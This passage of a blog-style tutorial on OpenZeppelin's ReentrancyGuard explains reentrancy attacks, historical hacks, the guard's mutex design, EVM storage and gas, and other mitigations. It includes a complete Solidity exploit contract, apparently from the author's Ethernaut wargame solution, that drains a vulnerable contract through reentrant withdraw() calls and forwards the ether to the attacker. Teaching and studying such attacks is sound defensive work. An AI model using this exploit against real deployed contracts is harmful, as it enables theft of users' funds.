</code></pre><p>contracts inside <code>security/</code> seek to deal with common security practices:</p><ul><li><p><code>ReentrancyGuard</code> is a modifier that can prevent reentrancy for single contract functions.</p></li><li><p><code>Pausable</code> is an emergency response mechanism that can pause a functionality if remediation is needed.</p></li></ul><p>although <code>Pausable</code> is an interesting contract, today we will discuss the reentrancy module.</p><hr><h3 id="h-securityreentrancyguardsol" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0"><strong>security/ReentrancyGuard.sol</strong></h3><p>contracts may call other contracts by function calls or transferring ether. they can also call back contracts that called them (<em>i.e.,</em> reentering) or any other contract in the call stack.</p><p>a reentrancy attack can happen when a contract is reentered in an invalid state. this can happen if the contract calls other untrusted contracts or transfers funds to untrusted accounts.</p><blockquote><p>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~</p><p><strong><em>a state in the blockchain is considered valid when the contract-specific invariants hold true.</em></strong></p><p><strong><em>contract invariants are properties of the program state that are expected always to be true. for instance, the value of</em></strong> <code>owner</code> <strong><em>state variable, the total token supply, etc., should always remain the same.</em></strong></p><p><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://akrzemi1.wordpress.com/2020/12/09/contracts-preconditions-invariants/"><strong><em>to learn more, @andrzej has a great post on contract, preconditions, &amp; invariants.</em></strong></a></p><p>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~</p></blockquote><p>in its simplest version, an attacking contract exploits vulnerable code in another contract to seize the flow of operation or funds.</p><p>for example, an attacker could repeatedly call a <code>withdraw()</code> or <code>receive()</code> function (or similar balance updating function) before a vulnerable contract’s balance is updated.</p><p>here is a step-by-step scenario:</p><ol><li><p>a vulnerable contract has <code>X ether</code>.</p></li><li><p>an attacker stores <code>1 ether</code> with a <code>deposit()</code> function.</p></li><li><p>an attacker calls the <code>withdraw()</code> function and points the recipient address to their malicious contract.</p></li><li><p>the <code>withdraw()</code> function verifies that the attacker has <code>1 ether</code> (yes, from their deposit) and transfers <code>1 ether</code> to the malicious contract.</p></li><li><p>the <code>fallback()</code> function is triggered when the <code>ether</code> is received and, before <code>balances</code> is updated, calls <code>withdraw()</code> repeatedly until the vulnerable contract is drained (<code>X + 1 ether</code> is sent to the attacker).</p></li></ol><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/f81336fded78f0b50d770de9cdfc4656a61e5a203d66dd28dc32873b24c171ee.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><p>reentrancy attacks can happen on a single function, multiple functions, or even extend across distinct smart contracts:</p><ul><li><p><strong>single reentrancy attacks</strong> can occur when a vulnerable function is the same function the attack is trying to call recursively.</p></li><li><p><strong>cross-function attacks</strong> can occur when two or more functions (including a vulnerable one) share the same state variables. they are harder to detect and prevent.</p></li><li><p><strong>cross-contract attacks</strong> can occur when contracts share the same state (<em>e.g.</em>, if multiple contracts share the same variable and a contract updates it insecurely). an example could be the exploitation of an <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://eips.ethereum.org/EIPS/eip-777">ERC-777</a> token, which enables “operators” to send tokens on behalf of a token owner by adding <code>send()</code> and <code>receive()</code> hooks (<a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://peckshield.medium.com/uniswap-lendf-me-hacks-root-cause-and-loss-analysis-50f3263dcc09">this was exploited on the uniswap/lendf.me attack</a>).</p></li></ul><blockquote><p>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~</p><p><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/pcaversaccio/reentrancy-attacks/issues/1"><strong><em>on june 17th, 2016, ”The DAO” was compromised</em></strong></a><strong><em>, and 3.6 million ETH were stolen using a single-function reentrancy attack. the ethereum foundation had to issue a critical update to reverse the hack, leading to its fork.</em></strong></p><p><strong><em>recent reentrancy hacks were </em></strong><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://polydex.medium.com/plx-locker-smart-contract-incident-post-mortem-75342124a3e8"><strong><em>plx locker (2021)</em></strong></a><strong><em>, </em></strong><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://www.halborn.com/blog/post/explained-the-cream-finance-hack-october-2021"><strong><em>cream finance (2021)</em></strong></a><strong><em>, </em></strong><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://nipunp.medium.com/5-8-21-rari-capital-exploit-timeline-analysis-8beda31cbc1a"><strong><em>rari capital (2021)</em></strong></a><strong><em>, </em></strong><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://www.halborn.com/blog/post/explained-the-siren-protocol-hack-september-2021"><strong><em>siren protocol (2021)</em></strong></a><strong><em>, </em></strong><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href=""><strong><em>paraluni (2022)</em></strong></a><strong><em>, </em></strong><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://therecord.media/2-million-stolen-from-defi-protocol-revest-finance-platform-unable-to-reimburse-victims"><strong><em>revest finance (2022)</em></strong></a><strong><em>, </em></strong><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://certik.medium.com/fei-protocol-incident-analysis-8527440696cc"><strong><em>fei protocol (2022)</em></strong></a><strong><em>, </em></strong><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://www.coindesk.com/tech/2022/03/31/ola-finance-exploited-for-36m-in-re-entrancy-attack/"><strong><em>ola finance (2022)</em></strong></a><strong><em>, and </em></strong><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://blocksecteam.medium.com/when-safemint-becomes-unsafe-lessons-from-the-hypebears-security-incident-2965209bda2a"><strong><em>safemint(2022)</em></strong></a><strong><em>.</em></strong></p><p><strong><em>i also highly recommend </em></strong><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/pcaversaccio/reentrancy-attacks"><strong><em>@pcaversaccio historical collection of reentrancy attacks.</em></strong></a></p><p>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~</p></blockquote><p>if it still feels a bit abstract, don’t worry. let’s try again with code.</p><p>consider the following <code>Vulnerable</code> contract with a <code>public</code> <code>withdraw()</code> function, where an external <code>call()</code> aims to transfer (withdraw) ETH to <code>msg.sender</code>:</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/47f2247de9266836db39382dddbdf26db90722cfd57716b9406f41bfd7be4ed6.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><p>the contract invariant is that its total amount of funds should equal the sum of all entries in <code>balances</code>.</p><p>however, because the user’s balance is updated to <code>0</code> ONLY after <code>call()</code>, the invariant is broken because <code>amount</code> has been sent, but <code>balances</code> has not been updated yet.</p><p>if <code>msg.sender</code> is another smart contract, it can, as we saw above, recall <code>withdraw()</code> function through <code>fallback()</code> or <code>receive()</code> (they would be triggered when <code>ether</code> is sent to the attacker’s contract).</p><p>since <code>balances</code> is not updated until after the call, the reentering invocation of <code>withdraw()</code> can be repeated and drain the contract.</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/239b1e84cd315e42ffba9f3f19c8281d77117a9de41006e7685b78fce9cc5ab3.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><blockquote><p>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~</p><p><strong><em>solidity’s</em></strong> <code>fallback()</code> <strong><em>function is executed if none of the other functions match the function identifier or no data was provided with the function call. it can be optionally</em></strong> <code>payable</code>.</p><p><code>receive()</code> i<strong><em>s a new keyword in solidity 0.6.x, and it is used as a</em></strong> <code>fallback()</code> <strong><em>function for empty</em></strong> <code>calldata</code> <strong><em>(or any value) that is only able to receive</em></strong> <code>ether</code>.</p><p><strong><em>to learn more about</em></strong> <code>fallback()</code> <strong><em>exploitation, check </em></strong><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/go-outside-labs/ethernaut-foundry-detailed-solutions-sol/tree/main/test/01"><strong><em>this ethernaut solution</em></strong></a><strong><em>.</em></strong></p><p>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~</p></blockquote><p>in this exploit, the only checks the attacker needs are:</p><ol><li><p>the accumulated gas cost, and</p></li><li><p>the overall balance of the target smart contract (to ensure they are not attempting to withdraw more <code>ether</code> than the contract holds, as it would revert the entire transaction and change the state).</p></li></ol><blockquote><p>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~</p><p><strong><em>but, what is gas, really?</em></strong></p><p><strong><em>gas is a unit of computation. each transaction is charged with some gas that has to be paid for by the originator.</em></strong></p><p><strong><em>gas spent is the total amount of gas used in a transaction. if the gas is used up at any point, an out-of-gas exception is triggered, ending execution and reverting all modifications made to the state in the current call frame. since each block has a maximum amount of gas, it also limits the work needed to validate a block.</em></strong></p><p><strong><em>gas price is how much ether you are willing to pay for gas. it&apos;s set by the originator of the transaction, who has to pay</em></strong> <code>gas_price * gas</code> <strong><em>upfront to the EVM executor (and any gas left is refunded, except for exceptions that revert changes).</em></strong></p><p>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~</p></blockquote><p>so what’s the solution for reentrancy?</p><p>initially, single-function reentrancy vulnerabilities could be fixed by deferring the external call until after <code>balances</code> has been updated:</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/166e132bb36cc76f984be5028c9f1576f3dbae58da17666ae543ebda43ba7a1d.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><p>however, this solution also has issues. if another function calls <code>withdraw()</code>, the attack could still be possible through cross-function reentrancy (<em>i.e.,</em> when multiple functions share the same state).</p><p>for instance, an attacker could reenter the contract with a <code>transfer()</code> function while <code>withdraw()</code> call has not yet concluded (and <code>balances</code> for <code>msg.sender</code> has not been set to <code>0</code> yet):</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/19a3fdb780ee33e0ac157d29a293db6c96574002d026bcf95d0b531e56a4271d.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><p>a remediation is to defer ANY external call until after all relevant state changes have occurred.</p><p>✨ enters openzeppelin’s <code>ReentrancyGuard</code> ✨</p><p>the contract allows a universal solution to reentrancy protection for individual contracts through a <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://en.wikipedia.org/wiki/Lock_(computer_science)">mutex technique</a> (<em>i.e.,</em> working with lock states that only <code>owner</code> can change):</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/90559b30e5a49b08308fca805c200a6fc18de574f216a0d1ffbcf683bf24bc65.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><p>by using the modifier <code>nonReentrant</code>, other contracts could safely consume <code>NotVulnerable</code>, using <code>public</code> <code>balances</code> for its logic while <code>withdraw()</code> safeguarded against reentrancy.</p><blockquote><p>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~</p><p><strong><em>to learn from a reentrancy practical problem, check </em></strong><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/go-outside-labs/ethernaut-foundry-detailed-solutions-sol/tree/main/test/10"><strong><em>my ethernaut foundry solution for this vulnerability</em></strong></a><strong><em>. here is a teaser of the exploit i wrote:</em></strong></p><pre data-type="codeBlock" text="contract ReentrancyExploit {

    Reentrance private level;
    bool private _ENTERED;
    address private owner;
    uint256 private initialDeposit;

    constructor(Reentrance _level) {
        owner = msg.sender;
        level = _level;
        _ENTERED = false;
    }

    function run() public payable {
        require(msg.value &gt; 0, &quot;must send some ether&quot;);
        initialDeposit = msg.value;
        level.donate{value: msg.value}(address(this));
        level.withdraw(initialDeposit);
        level.withdraw(address(level).balance);
    }

    function withdrawtoHacker() public returns (bool) {
        uint256 hackerBalancer = address(this).balance;
        (bool success, ) = owner.call{value: hackerBalancer}(&quot;&quot;);
        return success;
    }

    receive() external payable {
        if (!_ENTERED) {
            _ENTERED = true;
            level.withdraw(initialDeposit);
        }
    }
}
"><code><span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">ReentrancyExploit</span> </span>{

    Reentrance <span class="hljs-keyword">private</span> level;
    <span class="hljs-keyword">bool</span> <span class="hljs-keyword">private</span> _ENTERED;
    <span class="hljs-keyword">address</span> <span class="hljs-keyword">private</span> owner;
    <span class="hljs-keyword">uint256</span> <span class="hljs-keyword">private</span> initialDeposit;

    <span class="hljs-function"><span class="hljs-keyword">constructor</span>(<span class="hljs-params">Reentrance _level</span>) </span>{
        owner <span class="hljs-operator">=</span> <span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>;
        level <span class="hljs-operator">=</span> _level;
        _ENTERED <span class="hljs-operator">=</span> <span class="hljs-literal">false</span>;
    }

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">run</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> <span class="hljs-title"><span class="hljs-keyword">payable</span></span> </span>{
        <span class="hljs-built_in">require</span>(<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">value</span> <span class="hljs-operator">></span> <span class="hljs-number">0</span>, <span class="hljs-string">"must send some ether"</span>);
        initialDeposit <span class="hljs-operator">=</span> <span class="hljs-built_in">msg</span>.<span class="hljs-built_in">value</span>;
        level.donate{<span class="hljs-built_in">value</span>: <span class="hljs-built_in">msg</span>.<span class="hljs-built_in">value</span>}(<span class="hljs-keyword">address</span>(<span class="hljs-built_in">this</span>));
        level.withdraw(initialDeposit);
        level.withdraw(<span class="hljs-keyword">address</span>(level).<span class="hljs-built_in">balance</span>);
    }

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">withdrawtoHacker</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">bool</span></span>) </span>{
        <span class="hljs-keyword">uint256</span> hackerBalancer <span class="hljs-operator">=</span> <span class="hljs-keyword">address</span>(<span class="hljs-built_in">this</span>).<span class="hljs-built_in">balance</span>;
        (<span class="hljs-keyword">bool</span> success, ) <span class="hljs-operator">=</span> owner.<span class="hljs-built_in">call</span>{<span class="hljs-built_in">value</span>: hackerBalancer}(<span class="hljs-string">""</span>);
        <span class="hljs-keyword">return</span> success;
    }

    <span class="hljs-function"><span class="hljs-keyword">receive</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">payable</span></span> </span>{
        <span class="hljs-keyword">if</span> (<span class="hljs-operator">!</span>_ENTERED) {
            _ENTERED <span class="hljs-operator">=</span> <span class="hljs-literal">true</span>;
            level.withdraw(initialDeposit);
        }
    }
}
</code></pre><p><strong><em>i also highly recommend you check </em></strong><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://blog.openzeppelin.com/reentrancy-after-istanbul"><strong><em>openzeppelin’s post on the reentrancy guard after istanbul hard fork and eip-1884.</em></strong></a></p><p>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~</p></blockquote><p>now let’s take a deeper look at <code>ReentrancyGuard</code>. the <code>abstract</code> contract <code>ReentrancyGuard</code> starts with:</p><ul><li><p>three <code>private</code> <code>uint256</code> state variables. the first two, <code>_NOT_ENTERED</code> and <code>_ENTERED</code>, serve as (a cheap) <code>bool</code>.</p></li><li><p>a general <code>error</code>, and</p></li><li><p>a <code>constructor</code> that starts with <code>_status</code> equal to <code>false</code> (meaning, “not entered yet” or <code>false</code>) when the contract is deployed.</p></li></ul><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/22d3c9158feb4be59f387a6f7eedfc4548350548a2ad557f5e5b41955b48a894.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><blockquote><p>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~</p><p><code>ReentrancyGuard</code> <strong>contains a <em>docstring</em> explaining why</strong> <code>_NOT_ENTERED = 1</code> <strong><em>and</em></strong> <code>_ENTERED = 2</code>:</p><p><strong><em>“</em></strong><code>bool</code> <strong><em>are more expensive than</em></strong> <code>uint256</code> <strong><em>or any type that takes up a full word because each write operation emits an extra</em></strong> <code>SLOAD</code> <strong><em>to first read the slot&apos;s contents, replace the bits taken up by the</em></strong> <code>bool</code><strong><em>, and then write back. this is the compiler&apos;s defense against contract upgrades and pointer aliasing, and it cannot be disabled.</em></strong></p><p><strong><em>the values being non-zero value makes deployment a bit more expensive, but in exchange the refund on every call to</em></strong> <code>nonReentrant</code> <strong><em>will be lower in amount. since refunds are capped to a percentage of the total transaction&apos;s gas, it is best to keep them low in cases like this one, to increase the likelihood of the full refund coming into effect.”</em></strong></p><p><strong>edit: </strong><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/PaulRBerg"><strong>PaulRBerg</strong></a><strong> was </strong><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://forum.openzeppelin.com/t/understanding-the-refund-logic-in-reentrancyguard/37948/2"><strong>curious about this too</strong></a><strong>.</strong></p><p>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~</p></blockquote><p>following is the definition of the modifier <code>nonReentrant</code>, which we learned above that can be utilized on inherited contracts to prevent a function from being called while this function is still executing (<em>i.e.,</em> ensure that there are no nested/reentrant calls to them).</p><p>this modifier leverages two <code>private</code> functions, <code>_nonReentrantBefore()</code> and <code>_nonReentrantAfter()</code>, to ensure that any call in between (the contract execution) reverts with <code>ReentrancyGuardReentrantCall()</code>. in other words, any call to <code>nonReentrant</code> after its first call will fail as there is already a <code>nonReentrant</code> function in the call stack.</p><p>note that once <code>_nonReentrantAfter()</code> is called and <code>_status</code> is restored to <code>_NOT_ENTERED</code>, <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://eips.ethereum.org/EIPS/eip-2200">a refund can be triggered accordingly to EIP-2200.</a> the EIP proposed a way for gas metering on <code>SSTORE</code>, so that subsequent storage write operations within the same call frame (such as reentry locks) can benefit from gas reduction.</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/991b6b6e8f491cea66f78d7c652e50533aa318acdc8511f28a35654711132211.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><blockquote><p>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~</p><p><strong><em>i talked about</em></strong> <code>MSTORE</code> <strong><em>already, so it’s worth talking about the four ways the EVM stores data, depending on their context.</em></strong></p><p><strong><em>firstly, there is the key-value stack, where you can</em></strong> <code>POP</code>, <code>PUSH</code> , <code>DUP1</code>, or <code>POP</code> <strong><em>data. basically, the EVM is a stack machine, as it does not operate on registers but on a virtual stack with a size limit</em></strong> <code>1024</code><strong><em>. stack items (both keys and values) have a size of</em></strong> <code>32-bytes</code> (or <code>256-bit</code>), <strong><em>so the EVM is a 256-bit word machine (facilitating, for instance,</em></strong> <strong><em>keccak256 hash scheme and elliptic-curve computations).</em></strong></p><p><strong><em>secondly, there is the byte-array memory (RAM), used to store data during execution (such as passing arguments to internal functions). opcodes are</em></strong> <code>MSTORE</code> <strong><em>(like in</em></strong> <code>Array.sol</code><strong><em>),</em></strong> <code>MLOAD</code>, or <code>MSTORE8</code>.</p><p><strong><em>third, there is the calldata (which can be accessed through</em></strong> <code>msg.data</code>), <strong><em>a read-only byte-addressable space for the data parameter of a transaction or call. unlike the stack, this data is accessed by specifying the exact byte offset and the number of bytes to read. inline assembly functions to operate calldata are (they will be important in the next section):</em></strong></p><ul><li><p><code>calldatacopy(t, f, s)</code><strong><em>, used for opcode</em></strong> <code>CALLDATACOPY</code>, <strong><em>which copies a number of bytes of the transaction to memory (copies</em></strong> <code>s</code> <strong><em>bytes of calldata from position</em></strong> <code>f</code> <strong><em>to memory at position</em></strong> <code>t</code><strong><em>).</em></strong></p></li><li><p><code>calldatasize()</code>, <strong><em>tells the size of transaction data.</em></strong></p></li><li><p><code>calldataload()</code><strong><em>, loads</em></strong> <code>32 bytes</code> <strong><em>of the transaction data onto the stack.</em></strong></p></li><li><p><strong><em>additionally,</em></strong> <code>returndatacopy(t, f, s)</code> <strong><em>is used for opcode</em></strong> <code>RETURNDATACOPY</code> <strong><em>to copy</em></strong> <code>s</code> <strong><em>bytes from</em></strong> <code>returndata</code> <strong><em>at position</em></strong> <code>f</code> <strong><em>to memory at position</em></strong> <code>t</code>.</p></li></ul><p><strong><em>lastly, there is disk storage, a persistent read-write word-addressable space, where each contract stores persistent information (and where state variables live), and is represented by a mapping of</em></strong> <code>2^{256}</code> <strong><em>slots of</em></strong> <code>32 bytes</code> <strong><em>each. the opcode</em></strong> <code>SSTORE</code> <strong><em>is used to store data and</em></strong> <code>SLOAD</code> <strong><em>to load.</em></strong></p><p><strong><em>the required gas for disk storage is the most expensive, while storing data to stack is the cheapest.</em></strong></p><p><strong><em>check </em></strong><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://evm.storage/"><strong><em>evm.storage</em></strong></a><strong><em> for a dive deep into the storage of any contract on ethereum or avalanche and </em></strong><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://www.ethervm.io/"><strong><em>ethervm.io</em></strong></a><strong><em> for a broad opcodes reference.</em></strong></p><p>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~</p></blockquote><p>what about <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://en.wikipedia.org/wiki/Deadlock">deadlocks</a>? what happens if a <code>nonReentrant</code> function calls another <code>nonReentrant</code> function?</p><p>because there is only a single <code>nonReentrant</code> guard, a <code>nonReentrant</code> function should always be external. the contract disclaimers that <em>“calling a</em> <code>nonReentrant</code> <em>function from another</em> <code>nonReentrant</code> <em>function is not supported. it is possible to prevent this from happening by making the</em> <code>nonReentrant</code> <em>function external, and calling a</em> <code>private</code> <em>function that does the actual work.”</em></p><p>finally, the last part of the contract is the <code>internal</code> <code>view</code> function that returns <code>true</code> if the reentrancy guard is on:</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/1d4d458439ae5f8d4cb8e2160cf5e3fc62c46ca6a87e2a074acdaba9ba399f45.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><p>note that <code>ReentrancyGuard</code> is still vulnerable to cross-contracts attacks, where the execution flow of the external <code>call()</code> in <code>withdraw()</code> could still be taken over by an attacker (<em>e.g.,</em> if they craft an exploit that presents a misleading <code>balances</code>).</p><p>check <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://scsfg.io/hackers/reentrancy/">this review</a> for a more detailed cross-contract reentrancy example using <code>Checkpoints</code> to monitor <code>balances</code>, for instance, visible to <code>AnotherContract</code> we discussed above.</p><p>to conclude this session, let’s go over other workarounds for reentrancy attack protection:</p><ul><li><p><strong>the </strong><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://docs.soliditylang.org/en/v0.8.21/security-considerations.html#use-the-checks-effects-interactions-pattern"><strong>checks-effects-interaction pattern</strong></a><strong>:</strong></p><ul><li><p>a technique to organize statements in a function so that the state remains valid before calling other contracts.</p></li><li><p>basically, every statement is classified as either <strong>check</strong> (contract’s state change), <strong>effect</strong> (blockchain state change and writing to storage), or <strong>interaction</strong>, and must be in this exact order.</p></li><li><p>however, this technique is prone to human error and would not work for multi-contract situations.</p></li></ul></li></ul><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/1bdb2a637019dd4997b34ca47726ea9638e900dc8f266d824782df15c5229d71.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><ul><li><p><strong>using intermediary escrows (pull payments):</strong></p><ul><li><p>instead of sending funds to a receiver, they could be “pulled” out of an escrow contract.</p></li><li><p>openzeppelin implements this pattern in the <code>PullPayment</code> <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://docs.openzeppelin.com/contracts/3.x/api/payment#PullPayment">contract</a>.</p></li></ul></li><li><p><strong>setting gas limits by utilizing</strong> <code>transfer()</code> <strong>or</strong> <code>send()</code> <strong>instead of</strong> <code>call()</code>:</p><ul><li><p>the <code>fallback()</code> function in any contract is triggered by <code>transfer()</code> or <code>send()</code> .</p></li><li><p>these functions only allow the receiver a stipend of <code>2300</code> gas sent that can be utilized in the execution of the contract, which is not enough to perform reentrancy attacks.</p></li><li><p><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://consensys.io/diligence/blog/2019/09/stop-using-soliditys-transfer-now/">however, this argument has been debated by many advocates of stopping using</a> <code>transfer()</code>, as gas/opcode pricing is not stable (this was touched on in the <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://eips.ethereum.org/EIPS/eip-1884#motivation">EIP-1884 implementation</a>).</p></li></ul></li></ul><hr><h2 id="h-100-proxy" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0"><strong>100. proxy/</strong></h2><pre data-type="codeBlock" text="|----- proxy/
      |
      |----- ERC1967/
      |----- beacon/
      |----- transparent/
      |----- utils/
      |----- Clones.sol
      L----- ✨👀✨Proxy.sol
"><code><span class="hljs-operator">|</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span> proxy<span class="hljs-operator">/</span>
      <span class="hljs-operator">|</span>
      <span class="hljs-operator">|</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span> ERC1967<span class="hljs-operator">/</span>
      <span class="hljs-operator">|</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span> beacon<span class="hljs-operator">/</span>
      <span class="hljs-operator">|</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span> transparent<span class="hljs-operator">/</span>
      <span class="hljs-operator">|</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span> utils<span class="hljs-operator">/</span>
      <span class="hljs-operator">|</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span> Clones.sol
      L<span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span> ✨👀✨Proxy.sol
